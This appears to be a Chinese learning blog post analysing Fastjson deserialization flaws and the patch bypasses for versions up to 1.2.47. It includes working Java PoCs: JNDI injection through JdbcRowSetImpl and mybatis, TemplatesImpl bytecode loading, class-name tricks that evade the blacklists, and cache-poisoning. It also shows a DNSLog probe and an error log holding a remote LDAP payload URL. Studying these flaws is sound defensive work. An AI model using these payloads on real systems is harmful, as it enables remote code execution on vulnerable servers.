0x01前言 最近工作比较忙,给自己休整了几天,正好过两天就周末了要出门也没空学啥,所以打算把学习任务提前一下。原谅自己学习进度太慢了。。。
0x02Fastjson的序列化和反序列化 fastjson 是阿里巴巴开发的 java语言编写的高性能 JSON 库,用于将数据在 Json 和 Java Object之间相互转换。它没有用java的序列化机制,而是自定义了一套序列化机制。
在fastjson中提供了两种接口函数
JSON#toJSONString()实现对象的序列化操作
JSON#parseObject()/JSON#parse()实现对象的反序列化操作
但是对于Fastjson来说,并不是所有的java对象都能被序列化为JSON,只有JavaBean格式的对象才能被Fastjson转化成JSON格式
我们写个demo来看看序列化和反序列化流程的走向
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 class Person { public String name; public int age; public String getName () { System.out.println("执行了getName方法" ); return name; } public void setName (String name) { System.out.println("执行了setName方法" ); this .name = name; } public int getAge () { System.out.println("执行了getAge方法" ); return age; } public void setAge (int age) { System.out.println("执行了setAge方法" ); this .age = age; } }
然后我们写个序列化和反序列化的操作
先看看序列化的操作
1 2 3 4 5 6 7 8 9 10 11 12 public class Demo { public static void main (String[] args) { Person p = new Person (); p.setName("John" ); p.setAge(22 ); System.out.println("----------序列化操作----------" ); String json = JSON.toJSONString(p); System.out.println(json); } }
输出
1 2 3 4 5 6 执行了setName方法 执行了setAge方法 ----------序列化操作---------- 执行了getAge方法 执行了getName方法 {"age" :22 ,"name" :"John" }
在toJSONString()方法处打个断点调试一下
首先进入了第一个toJSOINString方法
1 2 3 public static String toJSONString (Object object) { return toJSONString(object, emptyFilters); }
随后进入里面的另一个toJSONString()方法
1 2 3 public static String toJSONString (Object object, SerializeFilter[] filters, SerializerFeature... features) { return toJSONString(object, SerializeConfig.globalInstance, filters, (String)null , DEFAULT_GENERATE_FEATURE, features); }
然后又是一个toJSONString()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public static String toJSONString (Object object, // SerializeConfig config, // SerializeFilter[] filters, // String dateFormat, // int defaultFeatures, // SerializerFeature... features) { SerializeWriter out = new SerializeWriter (null , defaultFeatures, features); try { JSONSerializer serializer = new JSONSerializer (out, config); if (dateFormat != null && dateFormat.length() != 0 ) { serializer.setDateFormat(dateFormat); serializer.config(SerializerFeature.WriteDateUseDateFormat, true ); } if (filters != null ) { for (SerializeFilter filter : filters) { serializer.addFilter(filter); } } serializer.write(object); return out.toString(); } finally { out.close(); } }
里面的就是具体的序列化流程了,这个就不深究了
我们再来看看反序列化流程
先看看JSON#parseObject()方法的参数
1 2 3 public static <T> T parseObject (String text, Class<T> clazz) { return parseObject(text, clazz, new Feature [0 ]); }
接收JSON字符串和原生类作为参数,将JSON字符串转换为对应的Java对象。
反序列化看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public class Demo { public static void main (String[] args) { Person p = new Person (); p.setName("John" ); p.setAge(22 ); System.out.println("----------序列化操作----------" ); String json = JSON.toJSONString(p); System.out.println(json); System.out.println("----------反序列化操作----------" ); Person unserjson = JSON.parseObject(json, Person.class); System.out.println(unserjson); } }
其实到这里的话就很清楚了,在反序列化的时候,JSON#parseObject()方法会再一次调用原生类的Setter方法。
如果我们反序列化时不指定特定的类,那么Fastjosn就默认将一个JSON字符串反序列化为一个JSONObject。需要注意的是,对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。
不过在上面的例子中可以看出,JSON#parseObject方法调用的时候我们是给它固定了原生类为Person.class,那么如果在实际环境中,有那么多的类的话,此时程序如何知道自己需要反序列化什么类的对象呢?这时候就需要用到一个注解@type了
将JSON反序列化为原始的类的方法有两种
第一种是在序列化的时候,在toJSONString方法中添加额外的属性SerializerFeature.WriteClassName,将对象类型一并序列化,我们测试一下
结果就是Fastjson在JSON字符串中添加了一个@type字段,这个用于标识对象所属的类
在反序列化的时候,parse()方法就会根据@type字段去转化成原来的类
第二种方法是在反序列化的时候,在parseObject()方法中手动指定对象的类型
0x02Fastjson中的@type 我们介绍一下这里的@type字段
@type是fastjson中的一个特殊注解,用于标识JSON字符串中的某个属性是哪个Java对象的类型。具体来说,当fastjson从JSON字符串反序列化为Java对象时,如果JSON字符串中包含@type属性,fastjson会根据该属性的值来确定反序列化后的Java对象的类型。
再来看看下面两个测试代码
1 2 3 4 5 6 7 8 9 10 11 12 13 public class Demo { public static void main (String[] args) { System.out.println("----------反序列化操作1----------" ); String ser_json1 = "{\"name\":\"wanth3f1ag\",\"age\":22}" ; JSON.parseObject(ser_json1); System.out.println("----------反序列化操作2----------" ); String ser_json2 = "{\"@type\":\"SerializeChains.FastjsonSer.Person\",\"name\":\"wanth3f1ag\",\"age\":22}" ; JSON.parseObject(ser_json2); } }
可以看到在没有指定@type字段的时候,程序并不知道该把JSON字符串序列化成哪个类型的对象,当我们用@type属性后,就能正常的将JSON字符串按照Person类去反序列化回java对象
这样就会调用对应的setter和getter方法。
那么这里就引出一个问题,如果这里的@type没有进行特殊的处理和检查,我们是否可以利用这个属性去指定一些恶意类去实例化利用他们呢?
例如DNS请求的类
1 {"@type" :"java.net.InetAddress" ,"val" :"b3jv10.dnslog.cn" }
成功接收到DNS请求
那么同样的,我们的类中的getter或setter方法包含恶意代码的话也就能执行
因此,只要我们能找到一个合适的Java Bean,其setter或getter存在可控参数,则有可能造成任意命令执行。
0x02Fastjson中的AutoTypeSupport AutoTypeSupport是Fastjson中的一个安全配置选项,用于控制自动类型转换的支持,在默认情况下,Fastjson>= 1.2.25会禁用自动类型转换功能,但是通过启用AutoTypeSupport,可以允许对@type注解的解析和自动类型转换
默认情况下autoTypeSupport为False,设置为True的方法有两种:
在反序列化前添加代码ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JVM启动参数:-Dfastjson.parser.autoTypeSupport=true
然后从代码中可以看到有一个AutoType白名单,AutoType白名单设置的方法也有几种:
在反序列化前添加代码ParserConfig.getGlobalInstance().addAccept(“[白名单类名]”);
JVM启动参数:-Dfastjson.parser.autoTypeAccept=[白名单类名]
配置文件配置,在1.2.25/1.2.26版本支持通过类路径的fastjson.properties文件来配置:fastjson.parser.autoTypeAccept=[白名单类名]
例如我们这里将Fastjson版本换成1.2.25并重新反序列化
发现出现了不支持的情况,然后我们启动AutoTypeSupport再试试
这样就可以了
0x03Fastjson <= 1.2.24-Chains 我们来看最开始出现序列化的版本Fastjson<=1.2.24,在这个版本中是默认支持@type这个属性的
这个版本有两条利用链JdbcRowSetImpl利用链和Templateslmpl利用链
JdbcRowSetImpl利用链 JdbcRowSetImpl利用链最终的结果是导致JNDI注入,需要结合JDBC的攻击手法去利用,这个是通用性最强的利用方式
JdbcRowSetImpl利用链的重点就在怎么调用autoCommit的set方法,而fastjson反序列化的特点就是会自动调用到类的set方法,所以会存在这个反序列化的问题。
我们看一下JdbcRowSetImpl类中的setAutoCommit方法
如果conn为null的话就会进入else语句,并调用到connect()方法,我们跟进看一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private Connection connect () throws SQLException { if (this .conn != null ) { return this .conn; } else if (this .getDataSourceName() != null ) { try { InitialContext var1 = new InitialContext (); DataSource var2 = (DataSource)var1.lookup(this .getDataSourceName()); return this .getUsername() != null && !this .getUsername().equals("" ) ? var2.getConnection(this .getUsername(), this .getPassword()) : var2.getConnection(); } catch (NamingException var3) { throw new SQLException (this .resBundle.handleGetObject("jdbcrowsetimpl.connect" ).toString()); } } else { return this .getUrl() != null ? DriverManager.getConnection(this .getUrl(), this .getUsername(), this .getPassword()) : null ; } }
这里的话如果配置了数据源名称(DataSourceName)时会优先通过JNDI获取连接,之后并根据是否配置了用户名和密码选择对应的连接方法。如果没有配置数据源名称的话会通过 JDBC URL 直接获取连接 。
跟进看一下lookup方法,发现lookup方法是JNDI中访问远程服务器获取远程对象的方法,其参数为服务器地址。
然后我们看一下DataSourceName的set和get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public String getDataSourceName () { return dataSource; } public void setDataSourceName (String name) throws SQLException { if (name == null ) { dataSource = null ; } else if (name.equals("" )) { throw new SQLException ("DataSource name cannot be empty string" ); } else { dataSource = name; } URL = null ; }
setDataSourceName()方法会设置dataSource的值
所以我们这里将dataSource赋值为我们恶意文件的远程地址。
因此我们可以构造利用链,设置@type的类型为jdbcRowSetlmpl类型,然后我们将dataSourceName传给lookup方法,最后再设置一下autoCommit属性,让lookup触发就行了
payload1(LDAP+JDBC) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;public class jdbcRowSetlmpl { public static void main (String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
需要注意的是,这里的dataSourceName需要放在autoCommit前面,因为反序列化的顺序问题,我们需要先让setDataSourceName执行,然后再执行setautoCommit。
TemplatesImpl利用链 影响1.2.22-1.2.24
这个之前讲过很多次了只不过这里的话是利用json反序列化去打的而已
1 2 3 4 5 6 7 { "@type" :"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" , "_bytecodes" :[恶意类的base64], '_name' :'test' , '_tfactory' :{}, '_outputProperties' :{} }
payload2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;import com.alibaba.fastjson.parser.ParserConfig;import java.io.IOException;import java.nio.file.Files;import java.nio.file.Paths;import java.util.Base64;public class POC2 { public static void main (String[] args) throws IOException { byte [] bytes = Files.readAllBytes(Paths.get("E:\\java\\JavaSec\\JavaSerialize\\target\\classes\\SerializeChains\\CCchains\\CC3\\POC.class" )); String base64_code = Base64.getEncoder().encodeToString(bytes); String Payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," + "\"_bytecodes\":[\"" +base64_code+"\"]," + "\"_name\":\"test\"," + "\"_tfactory\":{}," + "\"_outputProperties\":{}" + "}\n" ; JSON.parseObject(Payload, Object.class, new ParserConfig (), Feature.SupportNonPublicField); } }
由于payload需要赋值的一些属性为private类型,需要在parse()反序列化时设置第二个参数Feature.SupportNonPublicField,服务端才能从JSON中恢复private类型的属性。
这里的话有三个问题
问题1:base64编码 根据之前的学习,我们知道其实_bytecodes需要传入的是一个字节码,但是为什么这里需要用base64编码呢?
因为在反序列化的时候,会对字符串的类型进行一个判断,如果是一个base64编码的话会被解码成byte数组
我们可以调试一下
然后进入bytesValue()方法
这里的话会对传入的base64进行一个解码操作
问题2:_tfactory为什么为空 在之前CC3中可以知道,_tfactory需要设置为一个TransformerFactoryImpl对象才能让链子走下去,但是这里为什么为空也能正常执行呢?
因为为空会新建实例进行赋值
至于_tfactory为什么会知道是TransformerFactoryImpl呢?这是在类中已经定义好了。
1 private transient TransformerFactoryImpl _tfactory = null ;
问题3:如何调用getOutputProperties方法 对于TemplatesImpl链,我们的最终目标是调用defineClass()进行动态类加载。而该类中的getOutputProperties()方法能够最终走到defineClass(),并且格式也符合getter。所以构造一个TemplatesImpl类的JSON,并且将_outputProperties赋值,这样Fastjson在反序列化时就会调用getOutputProperties()方法了。
0x04Fastjson1.2.25-1.2.47的补丁绕过 其实这里的话是分版本的,不同版本会针对不同补丁进行绕过,挨个来看一下
1.2.25 - 1.2.41 补丁绕过 把版本换成1.2.41
前面我们也说过Fastjson>= 1.2.25会禁用自动类型转换功能,也就是AutoTypeSupport的选项是默认关闭的
深入代码分析 根据报错的函数调用栈,跟进com.alibaba.fastjson.parser.ParserConfig#checkAutoType()方法
在该函数名所在行打上断点,跟进这个函数看看
此时@type字段的值被解析成typeName,继续走代码
可以看到此时会取autoTypeSupport的值进行判断是否支持自动类型转换,这里默认是false,所以会进入这个if语句,此时就会抛出报错
继续回溯,checkAutoType方法在com.alibaba.fastjson.parser.DefaultJSONParser#parseObject()中被调用
1 2 3 4 public static String DEFAULT_TYPE_KEY = "@type" ;if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) { String typeName = lexer.scanSymbol(this .symbolTable, '"' ); Class<?> clazz = this .config.checkAutoType(typeName, (Class)null );
这里有一个DEFAULT_TYPE_KEY,值就是@type
我们看看1.2.24的该位置源码
看到了吧,1.2.24是在确定直接进行loadclass方法去加载类的,所以这个地方就是1.2.24漏洞的修复
回头仔细看一下checkAutoType方法的逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 public Class<?> checkAutoType(String typeName, Class<?> expectClass) { if (typeName == null ) { return null ; } else { String className = typeName.replace('$' , '.' ); if (this .autoTypeSupport || expectClass != null ) { for (int i = 0 ; i < this .acceptList.length; ++i) { String accept = this .acceptList[i]; if (className.startsWith(accept)) { return TypeUtils.loadClass(typeName, this .defaultClassLoader); } } for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } } Class<?> clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null ) { clazz = this .deserializers.findClass(typeName); } if (clazz != null ) { if (expectClass != null && !expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } else { return clazz; } } else { if (!this .autoTypeSupport) { for (int i = 0 ; i < this .denyList.length; ++i) { String deny = this .denyList[i]; if (className.startsWith(deny)) { throw new JSONException ("autoType is not support. " + typeName); } } for (int i = 0 ; i < this .acceptList.length; ++i) { String accept = this .acceptList[i]; if (className.startsWith(accept)) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (this .autoTypeSupport || expectClass != null ) { clazz = TypeUtils.loadClass(typeName, this .defaultClassLoader); } if (clazz != null ) { if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) { throw new JSONException ("autoType is not support. " + typeName); } if (expectClass != null ) { if (expectClass.isAssignableFrom(clazz)) { return clazz; } throw new JSONException ("type not match. " + typeName + " -> " + expectClass.getName()); } } if (!this .autoTypeSupport) { throw new JSONException ("autoType is not support. " + typeName); } else { return clazz; } } } }
挨个看一下
检测typeName的值是否为空后,这里分别有一个白名单过滤和一个黑名单过滤,白名单匹配成功就loadclass加载类,否则进行黑名单过滤,匹配成功则抛出报错
从Map缓存中查找获取类
如果未开启autoTypeSupport,则先进行黑名单过滤,再进行白名单过滤,如果白名单匹配成果就loadclass加载该类,否则报错未找到该类
补丁绕过思路 注意到这行代码
这里只需要autoTypeSupport开启就能直接loadclass加载类,我们跟进loadClass函数
看到如果我们的类名开头是[,也就是说此时类名是一个数组类型,那么就会递归调用loadClass方法去加载类,然后使用 Array.newInstance 方法创建一个该组件类型的数组实例,并返回该数组实例的类对象。
如果类名是L开头并且以;结尾,此时会去掉开头和结尾并加载类
看到我们前面1.2.24讲到的JdbcRowSetImpl利用链
1 2 3 4 5 6 7 8 9 10 11 12 import com.alibaba.fastjson.JSON; public class Fastjson_Jdbc_LDAP { public static void main (String[] args) { String payload = "{" + "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
结合上面的发现可以改成(记得要开启AutoTypeSupport)
POC1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
1.2.25 - 1.2.42 补丁绕过 从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
把版本换成1.2.42再跑一下发现出现了autoType is not support的报错
补丁绕过思路 打断点进入checkAutoType函数中跑一下,狂点f8看看是哪里卡住了
正常来说这里因为我们加上了L和;的话哈希值应该是匹配不上的,但是这里匹配上了,说明我们的typeName被处理过了,往前看一下
在经过这个if语句后会把开头的L和;去掉,继续往下走
这个loadClass函数的内容是不变的,也就是说这里只是单纯的计算了开头和结尾的字符进行过滤,我们还是可以通过双重字符去绕过的
POC2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
1.2.25 - 1.2.43 补丁绕过 把版本换成1.2.43再跑一下就出现一样的报错
继续来到刚刚的函数找到刚刚的if语句
多加了一层检测,通过检查字符串的第一个字符 和第二个字符 的组合进行检测,符合则会抛出报错
打断点跑一下看看
看来是这样的,那这时候我们该怎么绕过呢?
补丁绕过思路 还记得之前我们在分析loadClass函数的时候除了L和;的组合还有一个吗?
尝试写一下poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
但是抛出报错了
1 Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[' , but ,, pos 42 , json : {"@type" :"[com.sun.rowset.JdbcRowSetImpl" ,"dataSourceName" :"ldap://124.223.25.186:1389/3omsng" , "autoCommit" :true }
意思是预期在42列的位置接收一个[但是是,,而42列刚好是第一个,逗号,在逗号前面加上一个[试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
又有新报错
1 Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43 , fastjson-version 1.2 .43
意思是需要在43列的位置加上一个{,跟着加就行了
所以最后的poc是:
POC3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" + "}" ; JSON.parse(payload); } }
1.2.25 - 1.2.45 补丁绕过 看一下1.2.44版本下的检测
这里直接对第一个字符的哈希值进行了检测,然后直接抛出报错,所以目前来看还没有找到一个很好的绕过方式
换成1.2.45继续分析
利用条件
前提条件:需要目标服务端存在mybatis的jar包,且版本需为3.x.x系列<3.5.0的版本。
autoTypeSupport属性为true才能使用
我们在pom.xml中导入这个jar包
1 2 3 4 5 <dependency > <groupId > org.mybatis</groupId > <artifactId > mybatis</artifactId > <version > 3.4.6</version > </dependency >
然后poc是
POC4 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.ParserConfig;public class jdbcRowSetlmpl { public static void main (String[] args) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true ); String payload = "{" + "\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\"," + "\"properties\":{\"data_source\":\"ldap://127.0.0.1:9999/EXP\"}" + "}" ; JSON.parse(payload); } }
这个其实是因为JndiDataSourceFactory这个类在1.2.45版本中并没有在哈希黑名单中,不过在1.2.46中就进入黑名单了
1 2 version hash hex-hash name 1.2 .46 -8083514888460375884 0x8fd1960988bce8b4L org.apache.ibatis.datasource
深入代码分析 继续往下调试分析org.apache.ibatis.datasource.jndi.JndiDataSourceFactory这条利用链的原理。
因为之前很早就说过,在触发fastjson反序列化的时候会调用setter方法,而在poc中设置了properties的值,我们看看这个类的setProperties方法
这里就是熟悉的JNDI注入漏洞了,即InitialContext.lookup(),并且这里的参数是由我们输入的properties属性的data_source值获取的,所以我们的poc就顺其自然了,没毛病!
1.2.25-1.2.47补丁绕过 这个是一个通杀的技巧,无需开启AutoTypeSupport都能成功利用,也是基于checkAutoType()函数绕过的
深入代码分析 还记得之前介绍过吗?在经过第一轮白名单+黑名单的过滤后会尝试从map中获取类
那我们是否可以尝试将我们需要加载的恶意类提前加载到map缓存中,这样在获取的时候就能获取到这个类呢?
跟进getClassFromMapping方法
可以发现mappings里面都是键值对
POC5 这里我觉得先给poc会好一点
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package SerializeChains.FastjsonSer;import com.alibaba.fastjson.JSON;public class jdbcRowSetlmpl { public static void main (String[] args) { String payload = "{" + "\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"" + "}," + "\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"dap://127.0.0.1:9999/EXP\"," + "\"autoCommit\":\"true\"" + "}" + "}" ; JSON.parse(payload); } }
调用链分析 在调用DefaultJSONParser.parserObject()函数时,会对JSON数据进行循环遍历解析
第一次解析 在第一个键值对解析的时候,会进入checkAutoType函数,因为未开启AutoTypeSupport,那么就不会进入黑白名单的检测,由于@type执行java.lang.Class类,该类在接下来的findClass()函数中直接被找到,并在后面的if判断clazz不为空后直接返回clazz为java.lang.Class
接着往下走,来到MiscCodec#deserialze方法
会检查是否包含一个key为val的键值对,parser.accept(JSONToken.COLON);是检查JSON语法的代码,检查在键名val后面是否是一个冒号,随后会解析val键对应的值并赋值给objVal,parser.accept(JSONToken.RBRACE);也是一个语法检查,检查值的后面是否是一个花括号
检查objVal是否是字符串,并赋值给strVal
接着检查clazz是否是class类,是的话就调用TypeUtils.loadClass(),加载strVal所指向的类
成功加载该类后会将其缓存到Map缓存中,至此第一次解析就完成了
第二次解析 这个就很简单了,当我们成功将这个类加载到Map缓存中时,此时调用TypeUtils.getClassFromMapping()能成功从缓存中获取到该类,进而在下面的判断clazz是否为空的if语句中直接return返回了,从而成功绕过checkAutoType()检测
但是如果目标服务端开启了AutoTypeSupport呢?经测试发现:
1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
参考文章 fastjson反序列化
Java安全学习——Fastjson反序列化漏洞
Java反序列化Fastjson篇03-Fastjson各版本绕过分析
Fastjson各版本修补代码分析及绕过